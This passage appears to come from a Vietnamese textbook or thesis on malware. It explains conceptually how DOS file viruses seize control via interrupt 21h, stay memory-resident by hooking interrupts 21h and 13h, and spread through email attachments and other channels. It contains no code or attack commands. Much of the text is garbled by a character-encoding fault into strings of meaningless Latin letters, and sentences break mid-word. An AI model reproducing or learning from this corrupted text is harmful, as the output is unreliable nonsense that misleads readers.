thӡi, liên tөc hoһc ngүu nhiên. Ðӕi Wѭӧng phá hoҥi có thӇ Oj PjQ KuQK ORD ÿƭD 2.3.3.9 KͿ thu̵t djnh quy͉Q ÿL͉u khuy͋n cͯa F-virus Khi DOS tә chӭc thi hành File khҧ thi (bҵng chӭF QăQJ %K Fӫa ngҳt 21h), nó sӁ tә chӭc lҥi vùng nhӟ, tҧi File cҫn thi hành và trao quyӅQ ÿLӅu khiӇQ FKR )LOH ÿy )-virus lӧi dөQJ ÿLӇm này bҵng cách gҳQ ÿRҥn mã cӫa PuQK YjR ILOH ÿ~QJ Wҥi vӏ trí mà DOS trao quyӅQ ÿLӅu khiӇn cho File sau NKL ÿm Wҧi vào vùng nhӟ. Sau khi F-virus tiӃn hành xong các hoҥW ÿӝng cӫa mình, nó mӟi sҳp xӃp, bӕ trí trҧ lҥi quyӅn ÿLӅu khiӇQ FKR )LOH ÿӇ cho File lҥi tiӃn hành hoҥW ÿӝQJ EuQK WKѭӡQJ Yj QJѭӡi sӱ dөng thì không thӇ biӃW ÿѭӧc.Trong các loҥi B-virus và F-virus, có mӝt sӕ loҥi sau khi dành ÿѭӧc quyӅQ ÿLӅu khiӇn, sӁ tiӃQ KjQK FjL ÿһt mӝW ÿRҥn mã cӫa mình trong vùng nhӟ RAM QKѭ PӝW FKѭѫQJ WUuQK WKѭӡng trú (TSR), hoһc trong vùng nhӟ nôm ngoài tҫm kiӇm soát cӫa DOS, nhôm mөF ÿtFK NLӇm soát 78 các ngҳt quan trӑQJ QKѭ QJҳt 21h, ngҳt 13h,... Mӛi khi các ngҳW Qj\ ÿѭӧc gӑi, virus sӁ dành quyӅQ ÿLӅu khiӇQ ÿӇ tiӃn hành các hoҥW ÿӝng cӫa mình WUѭӟc khi trҧ lҥi các ngҳt chuҭn cӫa DOS. 2.4 Các hình thӭc tҩn công cӫD Pm ÿӝc +LӋQ Qj\ Fy UҩW QKLӅX KuQK WKӭF SKiW WiQ Pm ÿӝF KҥL Fy WKӇ WK{QJ TXD HPDLO WK{QJ TXD FiF SKҫQ PӅP Yj JҳQ Pm ÿӝF YjR ErQ WURQJ WK{QJ TXD FiF ÿѭӡQJ OLQN WUDQJ :HE WK{QJ TXD YLӋF FKLD Vҿ ILOH 86%, WK{QJ TXD FiF Oӛ KәQJ KӋ ÿLӅX KjQK ӭQJ GөQJ. .. 2.4.1. Phát tán qua email sӱ dөQJ ILOH ÿtQK NqP &iFK SKiW WiQ Pm ÿӝF KҥL OӟQ QKҩW TXD HPDLO KLӋQ QD\ Oj FiF KDFNHU ÿtQK NqP FiF WjL OLӋX ÿӝF KҥL YjR HPDLO EDR JӗP FiF ORҥL YLUXV OӯD ÿҧR VS\ZDUH ZRUP«GѭӟL FiF ILOH NK{QJ U} QJXӗQ JӕF ÿһF ELӋW Oj FiF ILOH Fy ÿX{L H[H FRP SLI SGI VFU EDW UDU ]LS« Hình 2-30 7ӋS WLQ ÿӝF KҥL ÿtQK NqP TXD HPDLO 3KҫQ OӟQ FiF FҧQK EiR virus ÿѭӧF JӱL ÿtQK NqP qua e-mail JLӳD QKӳQJ QJѭӡL Vӱ GөQJ . Virus OӯD ÿҧR WKѭӡQJ ÿѭӧF FKX\ӇQ WLӃS WURQJ Vӕ QKӳQJ QJѭӡL Vӱ GөQJ KjQJ WKiQJ KRһF WKұP FKt QKLӅX QăP EӣL Yu QJѭӡL GQJ WLQ UҵQJ Kӑ ÿDQJ JL~S ÿӥ QJѭӡL NKiF EҵQJ FiFK SKkQ SKӕL QKӳQJ FҧQK 79